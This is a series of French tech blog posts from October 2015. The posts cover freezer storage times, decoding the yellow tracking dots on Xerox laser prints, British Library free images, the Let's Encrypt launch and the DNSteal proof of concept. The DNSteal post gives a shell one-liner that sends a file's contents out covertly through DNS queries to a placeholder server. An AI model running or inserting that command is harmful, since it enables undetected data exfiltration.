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Les durées de conservation des aliments au congélateur

vendredi 23 octobre 2015 à 10:00

Chez moi j'ai un petit congélo, et j'avoue que parfois, j'oublie des trucs à l'intérieur... Et je ne sais malheureusement pas jusqu'à quand je peux garder tel ou tel truc congelé.

Heureusement pour moi et pour vous, mes petits amis de la banquise, le site FreezerLabels a compilé une liste d'aliments et la durée max jusqu'à laquelle on peut les conserver dans notre congélateur.

Par exemple, les muffins, ça peut se garder 6 à 12 mois... Je ne voudrais pas voir leur tronche à la sortie quand même. Du rôti de boeuf, ça peut se conserver largement plus d'un an alors qu'un reste de pizza, à peine 1 ou 2 mois. Et évidemment, y'a des trucs qui ne se congèlent pas, comme la laitue, les pommes ou le café... Bizarre quand même pour le café, car j'avais lu qu'une fois vidé se son air, ça se conservait très bien au congélo... À voir...

frozen-food-recommended-storage-times

Cet article merveilleux et sans aucun égal intitulé : Les durées de conservation des aliments au congélateur ; a été publié sur Korben, le seul site qui t'aime plus fort que tes parents.

Comment décoder le marqueur caché par les imprimantes lasers ?

vendredi 23 octobre 2015 à 08:45

Si vous lisez mon site (ou d'autres), vous savez surement qu'à chaque fois que vous imprimez un truc sur votre imprimante laser, un marqueur quasi invisible constitué de quelques points de couleur est ajouté sur la feuille.

Il s'agit d'un accord entre les grands fabricants d'imprimantes et les services secrets américain afin d'identifier les faux billets (mais aussi la provenance de n'importe quel document).

On savait à quoi ça ressemblait, mais on ne savait pas encore comme lire ce code... Et bien grâce à un chercheur de l'EFF, ce code a été percé à jour.

Voici donc comment le numéro de série de l'imprimante, la date et l'heure d'impression sont encodés sur les Xerox DocuColor :

La date et l'heure a laquelle le document a été imprimé ainsi que le numéro de série de l'imprimante.

Si vous voulez jouer aux agents secrets, c'est possible. Il suffit de localiser sur le document, les petits points jaunes de moins d'un millimètre de diamètre avec une lumière bleue et une loupe, voire un microscope.

C'est important, car sans instrument, tout ce que vous verrez, c'est ça :

Faint yellow dots

Mais en y regardant de plus près avec un microscope par exemple, vous verrez ça :

60x

Ce ne sera pas simple, car le microscope permet de couvrir seulement une petite partie des points, mais sachez que le schéma est bien plus grand. La lumière bleue vous permettra d'ajouter plus de contrastes.

DocuColor image under blue light and magnification

Ensuite, rendez-vous sur ce site pour reproduire le schéma observé et vous obtiendrez en clair le n° de série et la date complète du document.

Ça fonctionne que sur ce qui a été imprimé par des Xerox DocuColor même si les chercheurs de l'EFF pensent que les schémas des autres constructeurs fonctionnent de manière similaire.

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The British Library met en ligne plus d’un million d’images libres de droit

jeudi 22 octobre 2015 à 20:48

Si vous aimez les trucs vintage, vous allez être ravis puisque la British Library est en train de libérer plus d'un million d'images extraites de livres du 17e, 18e et 19e siècle.

lick

Pas de copyright donc pour ces illustrations que vous pourrez réutiliser dans toutes vos créations ou pour illustrer vos sites.

Les illustrations sont rangées dans des collections arrangées par des bénévoles comme "couvertures de libres", "cyclisme", "espace", "bateaux", "illustration de livres pour enfants"...etc.

us

Vous pouvez découvrir ces images ici.

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Let’s Encrypt vous permettra dès le mois prochain, d’avoir un certificat SSL reconnu par tous les navigateurs

jeudi 22 octobre 2015 à 19:01

Si vous voulez un certificat SSL pour votre serveur web, qui soit reconnu officiellement par la plupart des navigateurs, c'est possible et gratuitement avec Let's Encrypt.

lets

Annoncé l'année dernière, ce service proposé par Mozilla, l'EFF, l'Internet Society, Cisco, Automatic...etc va permettre d'améliorer grandement la sécurité des sites web en permettant à tous de se créer un certificat reconnu par la société IdenTrust (autorité certifiante).

Pour le moment, Let's Encrypt est en beta privée mais notez la date du 16 novembre dans votre calendrier, car à ce moment-là, chacun pourra générer son propre certificat.

Cette initiative existe uniquement grâce au soutien de volontaires et aux dons faits par les gens et les sociétés qui pensent que cela est important. Si vous aussi, vous trouvez ça important, vous pouvez faire un don.

Source

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Transférer des fichiers en utilisant des requêtes DNS

jeudi 22 octobre 2015 à 10:00

Voici un proof of concept intéressant qui s'appelle DNSteal et qui permet de transférer des documents via le net, de manière très discrète en utilisant le protocole DNS. DNSteal est un script python qui fait office de faux serveur DNS et qui peut recevoir en entrée des fichiers.

Une fois en place, il suffit par exemple de lancer la commande suivante pour transférer l'image send.png au faux serveur DNS.

for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done

C'est plutôt rigolo non ?

dnssteal

DNSteal supporte aussi le transfert multi-fichiers et la compression de ceux-ci. Son développeur s'est fait plaisir :)

Si vous voulez plus d'infos, c'est sur Github que ça se passe.

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